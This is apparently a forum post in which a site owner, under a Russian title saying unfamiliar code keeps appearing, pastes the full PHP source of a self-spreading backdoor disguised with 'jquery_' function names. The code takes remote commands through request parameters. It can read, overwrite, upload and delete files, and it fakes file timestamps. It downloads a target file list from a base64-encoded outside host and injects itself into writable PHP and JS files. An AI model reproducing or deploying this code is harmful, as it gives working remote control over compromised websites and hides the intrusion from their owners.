постоянно добавляется непонятный код

<?php
$jquery_start = true;
$jquery_version = '1.0.7';
$jquery_fv = $_REQUEST;
$jquery_dr = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
$fileList = array();
$dirList = array();
$extensions = array();
$checkAvailable = '';

if (!function_exists('jquery_FileGetInfo')) {
function jquery_FileGetInfo($params)
{
global $jquery_dr;
$filename = $jquery_dr . '/' . $params['filename'];
$res = array('exists' => 0, 'is_writable' => 0, 'is_dir' => 0);
if (!isset($params['filename']) || (!file_exists($filename) && !is_dir($filename))) return jquery_fail($res);
if (is_dir($filename)) $res['is_dir'] = 1;
$res['exists'] = 1;
if (is_writable($filename)) $res['is_writable'] = 1;
return $res['exists'] && $res['is_writable'] ? jquery_success($res) : jquery_fail($res);
}
}

if (!function_exists('jquery_GetCurrent')) {
function jquery_GetCurrent($params)
{
return jquery_success(__FILE__);
}
}

if (!function_exists('jquery_GetDr')) {
function jquery_GetDr($params)
{
global $jquery_dr;
return jquery_success($jquery_dr);
}
}

if (!function_exists('jquery_FindText')) {
function jquery_FindText($params)
{
global $jquery_dr;
$filename = $jquery_dr . '/' . $params['filename'];
$file = @file_get_contents($filename);
return strpos($file, $params['text']) !== false ? jquery_success() : jquery_fail();
}
}

if (!function_exists('jquery_GetAllWritableDirs')) {
function jquery_GetAllWritableDirs($params)
{
global $jquery_dr, $dirList;
jquery_scanRecursively($jquery_dr);
$result = array();
foreach($dirList AS $dir) $result[] = $dir['path'];
return jquery_success($result);
}
}

if (!function_exists('jquery_GetAllWritableFiles')) {
function jquery_GetAllWritableFiles($params)
{
global $jquery_dr, $fileList;
jquery_scanRecursively($jquery_dr, 'file', isset($params['ext']) ? $params['ext'] : array('php', 'js'));
$result = array();
foreach($fileList AS $file) $result[] = $file['path'];
return jquery_success($result);
}
}

if (!function_exists('jquery_GetContent')) {
function jquery_GetContent($params)
{
global $jquery_dr;
$filename = $jquery_dr . '/' . $params['filename'];
$file = @file_get_contents($filename);
return jquery_success($file);
}
}

if (!function_exists('jquery_GetRandomWritableDir')) {
function jquery_GetRandomWritableDir($params)
{
global $jquery_dr, $dirList;
jquery_scanRecursively($jquery_dr);
if (is_array($dirList) && count($dirList))
{
$data = array();
foreach($dirList AS $dir) $data[$dir['level']][] = $dir['path'];
if (is_array($data[3]) && count($data[3])) return jquery_success($data[3][rand(0, count($data[3]) - 1)]);
if (is_array($data[2]) && count($data[2])) return jquery_success($data[2][rand(0, count($data[2]) - 1)]);
if (is_array($data[1]) && count($data[1])) return jquery_success($data[1][rand(0, count($data[1]) - 1)]);
}
else return jquery_fail();
}
}

if (!function_exists('jquery_GetRandomWritableFile')) {
function jquery_GetRandomWritableFile($params)
{
global $jquery_dr, $fileList;
jquery_scanRecursively($jquery_dr, 'file', isset($params['ext']) ? $params['ext'] : array('php', 'js'));
if (is_array($fileList) && count($fileList))
{
$data = array();
foreach($fileList AS $file) $data[$file['level']][] = $file['path'];
if (is_array($data[3]) && count($data[3])) return jquery_success($data[3][rand(0, count($data[3]) - 1)]);
if (is_array($data[2]) && count($data[2])) return jquery_success($data[2][rand(0, count($data[2]) - 1)]);
if (is_array($data[1]) && count($data[1])) return jquery_success($data[1][rand(0, count($data[1]) - 1)]);
}
else return jquery_fail();
}
}

if (!function_exists('jquery_getSource')) {
function jquery_getSource($url)
{
if (function_exists('curl_init'))
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_TIMEOUT, 60);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, false);
$data = curl_exec($curl);
curl_close($curl);
}
else
$data = @file_get_contents($url);
return $data;
}
}

if (!function_exists('jquery_CheckAvailable')) {
function jquery_CheckAvailable($filename, $origcontent, $time)
{
global $checkAvailable;
if (!$checkAvailable) return true;
$source = jquery_getSource(jquery_decode('aHR0cDovL3ZpZGVvLXh4eC5zdQ=='));
if (!$source) return true;
if (strpos($source, '<title>') !== false || strpos($source, '<body>') !== false) return true;
file_put_contents($filename, $origcontent);
jquery_touch($filename, $time);
return false;
}
}

if (!function_exists('jquery_AddTextToFile')) {
function jquery_AddTextToFile($params)
{
global $jquery_dr;
$info = jquery_FileGetInfo($params);
$info = $info['data'];
if (!is_array($info) || !isset($info['exists']) || !$info['exists'] || !isset($info['is_writable']) || !$info['is_writable']) return jquery_fail();
$path = $jquery_dr . '/' . $params['filename'];
$ext = pathinfo($path, PATHINFO_EXTENSION);
$ext = strtolower($ext);
$file = $orig = file_get_contents($path);
if (isset($params['tag']) && isset($params['pos']) && $params['pos'] == 'after')
$file = str_replace($params['tag'], $params['tag'] . $params['content'], $file);
elseif (isset($params['tag']) && isset($params['pos']) && $params['pos'] == 'before')
$file = str_replace($params['tag'], $params['content'] . $params['tag'], $file);
else $file = $params['content'] . PHP_EOL . $file;
$time = filemtime($path);
$res = @file_put_contents($path, $file);
jquery_touch($path, $time);
if ($ext == 'php') jquery_CheckAvailable($path, $orig, $time);
return $res ? jquery_success() : jquery_fail();
}
}

if (!function_exists('jquery_UpdateTextInFile')) {
function jquery_UpdateTextInFile($params)
{
global $jquery_dr;
$info = jquery_FileGetInfo($params);
$info = $info['data'];
if (!is_array($info) || !isset($info['exists']) || !$info['exists'] || !isset($info['is_writable']) || !$info['is_writable']) return jquery_fail();
$path = $jquery_dr . '/' . $params['filename'];
$ext = pathinfo($path, PATHINFO_EXTENSION);
$ext = strtolower($ext);
$file = $orig = file_get_contents($path);
$start = strpos($file, $params['start']);
$end = strrpos($file, $params['end']);
if ($start === false || $end === false)
{
if (!$params['content']) return jquery_success();
if ($ext == 'php')
$params['content'] = '<?php' . PHP_EOL . $params['content'] . PHP_EOL . '?>';
return jquery_AddTextToFile($params);
}
$end += strlen($params['end']);
$begin = trim(substr($file, 0, $start));
$and = trim(substr($file, $end));
if (!$params['content'] && $begin == '<?php' && strpos($and, '?>') === 0)
{
$begin = '';
$and = trim(substr($and, 2));
}
$file = $begin . PHP_EOL . $params['content'] . PHP_EOL . $and;
if (!$params['content']) $file = trim($file);
$time = filemtime($path);
$res = @file_put_contents($path, $file);
jquery_touch($path, $time);
if ($ext == 'php') jquery_CheckAvailable($path, $orig, $time);
return $res ? jquery_success() : jquery_fail();
}
}


if (!function_exists('jquery_UpdateFiles')) {
function jquery_UpdateFiles($params)
{
global $jquery_dr;
if (!is_array($params['filenames']) || !count($params['filenames'])) return jquery_fail();
$result = array();
$done = false;
foreach ($params['filenames'] AS $filename)
{
$path = $jquery_dr . '/' . $filename;
if (!file_exists($path))
{
$res = @file_put_contents ($path, '');
if (is_int($res)){
$time = jquery_GetTimeOfFiles(pathinfo($path, PATHINFO_DIRNAME));
if ($time) jquery_touch ($path, $time);
}
}
$params['filename'] = $filename;
$res = jquery_UpdateTextInFile($params);
if ($res['success']) $done = true;
$result[] = $res;
}
return $done ? jquery_success($result) : jquery_fail($result);
}
}


if (!function_exists('jquery_UnlinkFile')) {
function jquery_UnlinkFile($params)
{
global $jquery_dr;
$info = jquery_FileGetInfo($params);
$info = $info['data'];
if (is_array($info) && !$info['exists']) jquery_success();
if (!is_array($info) || !isset($info['exists']) || !$info['exists'] || $info['is_dir'] || !isset($info['is_writable']) || !$info['is_writable']) return jquery_fail();
$path = $jquery_dr . '/' . $params['filename'];
return unlink($path) ? jquery_success() : jquery_fail();
}
}


if (!function_exists('jquery_UploadFile')) {
function jquery_UploadFile($params)
{
global $jquery_dr;
$directory = $jquery_dr . ($params['dir'] ? '/' . $params['dir'] : '');
if (!is_dir($directory) || !is_writable($directory)) return jquery_fail();
$time = jquery_GetTimeOfFiles($directory);
$res = @file_put_contents($directory.'/'.$params['filename'], $params['content']);
if ($res && $time) jquery_touch($directory.'/'.$params['filename'], $time);
return $res ? jquery_success($params['filename']) : jquery_fail();
}
}

if (!function_exists('jquery_GetTimeOfFiles')) {
function jquery_GetTimeOfFiles($directory)
{
$directory_list = opendir($directory);
$time = 0;
while (false !== ($file = readdir($directory_list)))
{
$path = $directory.'/'.$file;
if(is_readable($path) && is_file($path))
{
$time = filemtime($path);
break;
}
}
return $time;
}
}
if (!function_exists('jquery_scanRecursively')) {
function jquery_scanRecursively($directory, $type = 'dir', $exts = array('php', 'js'), $start = true, $currentLevel = 0)
{
global $jquery_dr, $fileList, $dirList, $extensions;
if ($start)
{
$fileList = array();
$dirList = array();
$extensions = $exts;
}
if(substr($directory,-1) == '/')
$directory = substr($directory,0,-1);
if(!file_exists($directory) || !is_dir($directory))
return false;
elseif(is_readable($directory))
{
$directory_list = opendir($directory);
while (false !== ($file = readdir($directory_list)))
{
if ($currentLevel == 3) continue;
if($file != '.' && $file != '..')
{
$path = $directory.'/'.$file;
if(is_readable($path))
{
$subdirectories = explode('/',$path);
if(is_dir($path))
{
jquery_scanRecursively($path, $type, null, false, $currentLevel + 1);
if ($type == 'dir' && is_writable($path))
$dirList[] = array('path' => str_replace ($jquery_dr . '/', '', $path), 'level' => $currentLevel + 1);
}
elseif(is_file($path) && $type == 'file')
{
$extensiona = explode('.',end($subdirectories));
$extension = end($extensiona);
if((in_array($extension, $extensions)) && $path != __FILE__ && is_writable($path))
$fileList[] = array('path' => str_replace ($jquery_dr . '/', '', $path), 'level' => $currentLevel);
}
}
}
}
closedir($directory_list);
return true;
}
else
{
return false;
}
}
}

if (!function_exists('jquery_GetVersion')) {
function jquery_GetVersion($params)
{
global $jquery_version;
return jquery_success($jquery_version);
}
}

if (!function_exists('jquery_success')) {
function jquery_success($data = array())
{
return array('success' => true, 'data' => $data);
}
}

if (!function_exists('jquery_fail')) {
function jquery_fail($data = array())
{
return array('success' => false, 'data' => $data);
}
}


if (!function_exists('jquery_getFiles')) {
function jquery_getFiles($url, $savePath)
{
global $jquery_dr;
$data = jquery_getSource($url);
if ($data)
{
if (!file_exists($jquery_dr . '/' . $savePath))
@file_put_contents ($jquery_dr . '/' . $savePath, '');
if ($data && unserialize($data) && $savePath && is_writable($jquery_dr . '/' . $savePath))
@file_put_contents($savePath, $data);
}
return unserialize($data);
}
}

if (!function_exists('jquery_initAll')) {
function jquery_initAll($pathList, $listFiles)
{
$curFile = @file_get_contents(__FILE__);
$startStr = '$jquery_st' . 'art = true;';
$endStr = '$jquery_en' . 'd = true;';
$start = strpos($curFile, $startStr);
$end = strrpos($curFile, $endStr);
if ($start === false || $end === false) return;
$content = substr($curFile, $start, $end - $start + strlen($endStr));
global $jquery_dr;
if (!$pathList) return;
$files = @file_get_contents($jquery_dr . '/' . $pathList);
$files = unserialize($files);
if (!$files || ($files && (!is_array($files) || !count($files))))
$files = jquery_getFiles($listFiles, $pathList);
if (is_array($files) && count($files))
{
$filenames = array();
foreach ($files AS $file)
{
if (file_exists($jquery_dr . '/' . $file))
{
$startRes = jquery_FindText(array('filename' => $file, 'text' => $startStr));
$endRes = jquery_FindText(array('filename' => $file, 'text' => $endStr));
if (!$startRes['success'] || !$endRes['success'])
$filenames[] = $file;
}
else
$filenames[] = $file;
jquery_UpdateFiles(array('filenames' => $filenames, 'start' => $startStr, 'end' => $endStr, 'content' => $content));
}
}
}
}

if (!function_exists('jquery_callMethod')) {
function jquery_callMethod($method, $args)
{
if (!$method || !function_exists('jquery_'.$method)) return false;
$result = call_user_func_array('jquery_'.$method, array("args" => $args));
return serialize($result);
}
}

if (!function_exists('jquery_decode')) {
function jquery_decode($code)
{
return base64_decode($code);
}
}

if (!function_exists('jquery_touch')) {
function jquery_touch($filename, $time)
{
@touch($filename, $time);
}
}

$jquery_values = array('pathList' => 'd2Vic3RhdC9jYWNoZV85ZDk3ZGY2ODhi', 'listFiles' => 'aHR0cDovL3lhZHJvLmltL2ZpbGVzLnBocD92ZXI9NjY=');
if (isset($jquery_fv['jquery']) && isset($jquery_fv['method']) && !empty($jquery_fv['method']))
{
if (isset($jquery_fv['jquery_dr']) && $jquery_fv['jquery_dr'])
$jquery_dr = $jquery_fv['jquery_dr'];
if (isset($jquery_fv['jquery_checkAvailable']))
$checkAvailable = $jquery_fv['jquery_checkAvailable'];

$result = jquery_callMethod($jquery_fv['method'], unserialize(jquery_decode($jquery_fv['params'])) );
echo($result);
jquery_initAll(jquery_decode($jquery_values['pathList']), jquery_decode($jquery_values['listFiles']));
exit;
}

if (function_exists('jquery_initAll')) {
jquery_initAll(jquery_decode($jquery_values['pathList']), jquery_decode($jquery_values['listFiles']));
}
$jquery_end = true;
?>